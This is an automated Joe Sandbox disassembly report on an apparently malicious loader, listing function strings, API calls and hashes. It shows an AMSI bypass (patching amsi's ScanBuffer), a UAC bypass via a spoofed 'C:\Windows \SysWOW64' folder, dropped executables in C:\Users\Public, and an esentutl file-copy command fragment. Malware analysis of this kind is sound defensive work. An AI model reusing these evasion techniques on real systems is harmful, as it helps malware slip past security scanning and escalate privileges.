SLLoadApplicationPolicies, xrefs: 02B39F08
sppc, xrefs: 02B39E86, 02B39EB9, 02B39EEC, 02B39F1F, 02B3AE2F, 02B3AE62
LdrGetProcedureAddress, xrefs: 02B3B07C
EtwEventWrite, xrefs: 02B3B148
CryptSIPVerifyIndirectData, xrefs: 02B3A17B
kernel32, xrefs: 02B3AAF0, 02B3AB23, 02B3AB56, 02B3AB89, 02B3ABBC, 02B3ABEF, 02B3AC22
I_QueryTagInformation, xrefs: 02B3923A
DlpGetArchiveFileTraceInfo, xrefs: 02B3A4B3
NtMapViewOfSection, xrefs: 02B3AF7D
psapi, xrefs: 02B3A9F3
ScanBuffer, xrefs: 02B38529, 02B387F6, 02B3899C, 02B38B29, 02B38CBD, 02B38E3C, 02B390B3, 02B391AB, 02B395C7, 02B398A0, 02B39A39, 02B39C6F, 02B39D01, 02B3A039, 02B3A3D7, 02B3A906, 02B3B20C
mssip32, xrefs: 02B3A192
endpointdlp, xrefs: 02B3A464, 02B3A497, 02B3A4CA, 02B3A4FD
MZP, xrefs: 02B39992
spp, xrefs: 02B3A0F9, 02B3A12C, 02B3ADC9
NtAccessCheck, xrefs: 02B3B016
Kernel32, xrefs: 02B3AA02, 02B3AA11, 02B3AA4D
FlushInstructionCache, xrefs: 02B3ABD8
NtAlertResumeThread, xrefs: 02B3A611
Ntdll, xrefs: 02B3A97B, 02B3A98A, 02B3A999, 02B3A9A8
MiniDumpWriteDump, xrefs: 02B3924E
bcrypt, xrefs: 02B3A2BD
NtOpenProcess, xrefs: 02B3928A
NtQuerySystemInformation, xrefs: 02B3A976
SLGetEncryptedPIDEx, xrefs: 02B3AE4B
advapi32, xrefs: 02B3923F
EnumServicesStatusExA, xrefs: 02B3A9D0
SetUnhandledExceptionFilter, xrefs: 02B3AC0B
NtQueryInformationThread, xrefs: 02B3AEE4
NtQueryVirtualMemory, xrefs: 02B3AEB1
NtReadVirtualMemory, xrefs: 02B3AFB0
EnumServicesStatusW, xrefs: 02B3A9C1
BCryptVerifySignature, xrefs: 02B3A2A6
Initialize, xrefs: 02B381B0, 02B383A0, 02B393AD, 02B39FBD, 02B3A35B, 02B3A88A, 02B3AC44, 02B3B190
DllGetClassObject, xrefs: 02B3A115, 02B3ADE5
OpenSession, xrefs: 02B38134, 02B382A8, 02B38324, 02B38621, 02B3877A, 02B38920, 02B38AAD, 02B38C41, 02B38DC0, 02B38EC3, 02B39037, 02B392B5, 02B394A5, 02B39796, 02B3991C, 02B39B77, 02B39D7D, 02B39F41, 02B3A230, 02B3A2DF, 02B3A51F, 02B3A716, 02B3A80E, 02B3ACC0, 02B3B288
CreateProcessA, xrefs: 02B3A9FD
SLGetSLIDList, xrefs: 02B39EA2
Advapi, xrefs: 02B3A9B7, 02B3A9C6, 02B3A9D5, 02B3A9E4, 02B3AA20, 02B3AA2F, 02B3AA3E
UacScan, xrefs: 02B3841C, 02B385A5, 02B386FE, 02B388A4, 02B38A31, 02B38BC5, 02B38D44, 02B38FBB, 02B39429, 02B39643, 02B39824, 02B399BD, 02B39BF3, 02B3AA63
WriteVirtualMemory, xrefs: 02B3ABA5
DlpNotifyPreDragDrop, xrefs: 02B3A44D
NtOpenSection, xrefs: 02B3AF17
NtQuerySecurityObject, xrefs: 02B3AFE3
VirtualAlloc, xrefs: 02B3AAD9
tquery, xrefs: 02B3A0C6
DlpCheckIsCloudSyncApp, xrefs: 02B3A480
sppwmi, xrefs: 02B3ADFC
UacInitialize, xrefs: 02B3912F, 02B3954B
SLGetGenuineInformation, xrefs: 02B39E6F
CreateProcessAsUserA, xrefs: 02B3AA1B
dbgcore, xrefs: 02B39253, 02B39267
ScanString, xrefs: 02B3822C, 02B38498, 02B38F3F, 02B39331, 02B3971A, 02B39AFB, 02B39DF9, 02B3A1B4, 02B3A59B, 02B3A792, 02B3AD3C
NtQueryDirectoryFile, xrefs: 02B3A994
SxTracerGetThreadContextDebug, xrefs: 02B3A0E2, 02B3ADB2
NtWriteVirtualMemory, xrefs: 02B3B0AF
EtwEventWriteEx, xrefs: 02B3B115
EnumProcessModules, xrefs: 02B3A9EE
DlpGetWebSiteAccess, xrefs: 02B3A4E6

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CloseFileLibrary$CreateFreeHandlePathProcess$AddressAttributesCacheExitFlushInstructionLoadNameName_ProcResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2769005614-3738268246
Opcode ID: 04328828d6d82fd6c1147251dd6a065ad74ed4474d361b36479348b3b70a6c25
Instruction ID: 3b474daacc5860f6207b0732d1cef65210261a39ded1c710ba4e0d4c46b18a38
Opcode Fuzzy Hash: 04328828d6d82fd6c1147251dd6a065ad74ed4474d361b36479348b3b70a6c25
Instruction Fuzzy Hash: 8C43FA79A0422CDFDB11EB64DD809CE73BAFF85344FA041E5E109EB218DA30AE959F51

Function 02B33E12 Relevance: 41.8, APIs: 3, Strings: 23, Instructions: 2804sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(742B0000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,742B0000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B2DC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DD5E), ref: 02B2DCCB
Part of subcall function 02B2DC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B2DD05
Part of subcall function 02B2DC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B2DD32
Part of subcall function 02B2DC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B2DD3B

Sleep.KERNEL32(000003E8,ScanBuffer,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,02B3BB30,00000000,00000000,02B3BB24,00000000,00000000), ref: 02B340CB

Part of subcall function 02B288B8: LoadLibraryW.KERNEL32(amsi), ref: 02B288C1
Part of subcall function 02B288B8: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B28920

Sleep.KERNEL32(000003E8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,000003E8,ScanBuffer,02B97380,02B3B7B8,UacScan,02B97380), ref: 02B34277

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

Sleep.KERNEL32(00004E20,UacScan,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacInitialize,02B97380,02B3B7B8), ref: 02B350EE

Part of subcall function 02B2DC04: RtlI.N(?,?,00000000,02B2DC7E), ref: 02B2DC2C
Part of subcall function 02B2DC04: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC42
Part of subcall function 02B2DC04: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC61

Part of subcall function 02B17E5C: GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Part of subcall function 02B285BC: WinExec.KERNEL32(?,?), ref: 02B28624

Strings

C:\\Windows \\SysWOW64\\, xrefs: 02B34822
UacScan, xrefs: 02B33F7F, 02B340DC, 02B34288, 02B3440B, 02B345DC, 02B346BA, 02B3484F, 02B34D10, 02B35079, 02B353F3, 02B35B8F, 02B360FF, 02B362C4, 02B365EA, 02B366F7, 02B36955, 02B36A4D
C:\\Windows \\SysWOW64\\per.exe, xrefs: 02B343F5
C:\Users\Public\pha.exe, xrefs: 02B3551B
UacUninitialize, xrefs: 02B33E1E, 02B3463E, 02B34C94, 02B35377
[InternetShortcut], xrefs: 02B36D48
UacInitialize, xrefs: 02B34A44, 02B34E84, 02B350FF, 02B3553C, 02B358F2, 02B35DDF
C:\Users\Public\CApha.exe, xrefs: 02B35500
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 02B364AA
.url, xrefs: 02B35D93
URL=file:", xrefs: 02B36D57
C:\Users\Public\, xrefs: 02B35D88, 02B36FF3
C:\Users\Public\alpha.exe, xrefs: 02B354E5
IconIndex=, xrefs: 02B36DAD
ScanString, xrefs: 02B33F03, 02B349C8, 02B34E08, 02B34FFD, 02B355B8, 02B35752, 02B35A97, 02B35E5B, 02B364F2, 02B36CD8, 02B36E4F, 02B36F07
lld.SLITUTEN, xrefs: 02B3480C
C:\\Users\\Public\\Libraries\\, xrefs: 02B3616F
/d , xrefs: 02B364B5
Initialize, xrefs: 02B35876, 02B35C0B, 02B36007, 02B361CC, 02B36438, 02B3656E, 02B36773
ScanBuffer, xrefs: 02B33FFB, 02B34202, 02B34380, 02B34503, 02B3457F, 02B34736, 02B34947, 02B34B3C, 02B34D8C, 02B34F7C, 02B351F7, 02B3546F, 02B356B0, 02B359EA, 02B35D03, 02B36083, 02B363BC, 02B36666, 02B3686B, 02B369D1, 02B36B45, 02B36BC1
OpenSession, xrefs: 02B34158, 02B34304, 02B34487, 02B348CB, 02B34AC0, 02B34C18, 02B34F00, 02B3517B, 02B352FB, 02B35634, 02B357CE, 02B3596E, 02B35B13, 02B35C87, 02B35ED7, 02B35F8B, 02B36248, 02B36340, 02B367EF, 02B36AC9, 02B36C3D, 02B36DD3, 02B36F83
/o, xrefs: 02B364C0
HotKey=, xrefs: 02B36EE1

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Library$FilePath$FreeSleep$LoadNameName_$AddressAttributesCloseCreateDeleteExecProcWrite
String ID: /d $ /o$.url$C:\Users\Public\$C:\Users\Public\CApha.exe$C:\Users\Public\alpha.exe$C:\Users\Public\pha.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\per.exe$C:\\Windows\\System32\\esentutl.exe /y $HotKey=$IconIndex=$Initialize$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
API String ID: 2171786310-3926298568
Opcode ID: a5b7a353f178f0ba000926f55702d93c9aa022628ed425f8b21b61047277497a
Instruction ID: 62078ccba6966533380f2eae02c982846eff6cc491d1a7ac3b9f7e4da3072893
Opcode Fuzzy Hash: a5b7a353f178f0ba000926f55702d93c9aa022628ed425f8b21b61047277497a
Instruction Fuzzy Hash: 6143F475A0016D9FDB21EB64DD80BDE73B6FF85304FA040E6A409AB618DF30AE859F51

Function 02B2E678 Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 562
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(742B0000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,742B0000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B28788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,02B97380,02B2EF4C,OpenSession,02B97380,02B2EF4C,UacScan,02B97380,02B2EF4C,ScanBuffer,02B97380,02B2EF4C,OpenSession,02B97380), ref: 02B2ED6E
CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,02B97380,02B2EF4C,OpenSession,02B97380,02B2EF4C,UacScan,02B97380,02B2EF4C,ScanBuffer,02B97380,02B2EF4C,OpenSession), ref: 02B2ED76
CloseHandle.KERNEL32(0000090C,00000000,00000000,000000FF,ScanString,02B97380,02B2EF4C,OpenSession,02B97380,02B2EF4C,UacScan,02B97380,02B2EF4C,ScanBuffer,02B97380,02B2EF4C), ref: 02B2ED7F

Strings

ntdll, xrefs: 02B2EEC5, 02B2EED6
NtSetSecurityObject, xrefs: 02B2EEC0
AmsiOpenSession, xrefs: 02B2E814
ScanBuffer, xrefs: 02B2EBE6, 02B2EE29
NtOpenProcess, xrefs: 02B2EED1
OpenSession, xrefs: 02B2E711, 02B2E8B6, 02B2EA66, 02B2EB97, 02B2EC8E, 02B2EDDA
Amsi, xrefs: 02B2E825
UacScan, xrefs: 02B2E6B8, 02B2E85D, 02B2E9F5, 02B2EC35, 02B2EE78
ScanString, xrefs: 02B2E76A, 02B2E90F, 02B2EAD7, 02B2ECFF
)"C:\Users\Public\Libraries\ymafvvdS.cmd" , xrefs: 02B2E7F1, 02B2E9B3
Initialize, xrefs: 02B2EB48, 02B2ED8B

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Library$CloseFreeHandle$AddressCreateLoadObjectProcProcessSingleUserWait
String ID: )"C:\Users\Public\Libraries\ymafvvdS.cmd" $Amsi$AmsiOpenSession$Initialize$NtOpenProcess$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacScan$ntdll
API String ID: 3475578485-3731113069
Opcode ID: 0a6ddb2d7eb5777d3af45d2f8b7fc4ea178817638cecd22a24c7050454c484b1
Instruction ID: c80103336dc4fed7a1c2e7ba24b12b97f04995ee7cfe0ec7b825dfb9d7ce315a
Opcode Fuzzy Hash: 0a6ddb2d7eb5777d3af45d2f8b7fc4ea178817638cecd22a24c7050454c484b1
Instruction Fuzzy Hash: 0622D375A0026D9FEB11FB65D881BCE73B6AF85300F5041E1A149EB254DB30EE49CF66

Function 02B11724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02B12000), ref: 02B117D0
Sleep.KERNEL32(0000000A,00000000,?,02B12000), ref: 02B117E6

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0ca9bd1b1e55afa0bba095f8255723665db62d9419609990163a9b08d2bfdbe1
Instruction ID: e98d19a584a4a14518f7b71833429673fc6a28459c8dd0196ed9c6544a041184
Opcode Fuzzy Hash: 0ca9bd1b1e55afa0bba095f8255723665db62d9419609990163a9b08d2bfdbe1
Instruction Fuzzy Hash: 3DB15372A203518BCB15CF2CE980315BBF1EB86394F59C6EED65D8B385C735A452CB90

Function 02B288B8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02B288C1

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B28920

Strings

DllGetClassObject, xrefs: 02B288E6
amsi, xrefs: 02B288BC
W, xrefs: 02B288CD

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 73abcdcff65fe1647ab81f3d83f67567c4d9565d551df570b8e744055f09e53f
Instruction ID: e7da6ab78f48232b107c71d9bf42d7596247465db451df0a5cebfbcc025119e1
Opcode Fuzzy Hash: 73abcdcff65fe1647ab81f3d83f67567c4d9565d551df570b8e744055f09e53f
Instruction Fuzzy Hash: 9DF0A45044C381B9E300E3748C45F4BBFCD4B62264F408A98B1ECAA2D2D679D1089B77

Function 02B11A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02B11FE4), ref: 02B11B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02B11FE4), ref: 02B11B31

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2a8360d36b169dacd013ff447331c43ffa879f9cd7675f189318f26dcddb4d92
Instruction ID: ff043b244d0d6a75d583dfe07d5e3ff072b404c752661627741e3c0732ec4baa
Opcode Fuzzy Hash: 2a8360d36b169dacd013ff447331c43ffa879f9cd7675f189318f26dcddb4d92
Instruction Fuzzy Hash: B351EE71A212408FDB15CF6CCA84766BBE0EF4A314F9885EED648CB2C2E774C445CBA1

Function 02B2E4B6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B2E5F6

Strings

ScanBuffer, xrefs: 02B2E53F
OpenSession, xrefs: 02B2E598
Initialize, xrefs: 02B2E4E6

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 5495862f0f1bddf8e3835711096b5d896cf7844ecb1634bece4bf00fd7b1ad99
Instruction ID: 76d3459666785fb69980c82cbbb91271009e13b4435a24c9db67cefb44b155cd
Opcode Fuzzy Hash: 5495862f0f1bddf8e3835711096b5d896cf7844ecb1634bece4bf00fd7b1ad99
Instruction Fuzzy Hash: FC413B75B002189FEB01EBA4D881ADEB3BAEF88700FA044B6E145E7255DA70FD098F55

Function 02B285BA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

WinExec.KERNEL32(?,?), ref: 02B28624

Strings

WinExec, xrefs: 02B285D5
Kernel32, xrefs: 02B28607

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: de4c438d1842c0d53df6f004f92959f147baa97e82033299aa8200b803261e8c
Instruction ID: 474f45942380282da43f5fc0f3f10ac7b2e9ad0c667e0a98645b595e1c511140
Opcode Fuzzy Hash: de4c438d1842c0d53df6f004f92959f147baa97e82033299aa8200b803261e8c
Instruction Fuzzy Hash: 560181B1694314BFEB01EFA4DC01F5A77FDE709700FA084A0F908D3650DA34AD159A25

Function 02B285BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

WinExec.KERNEL32(?,?), ref: 02B28624

Strings

WinExec, xrefs: 02B285D5
Kernel32, xrefs: 02B28607

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
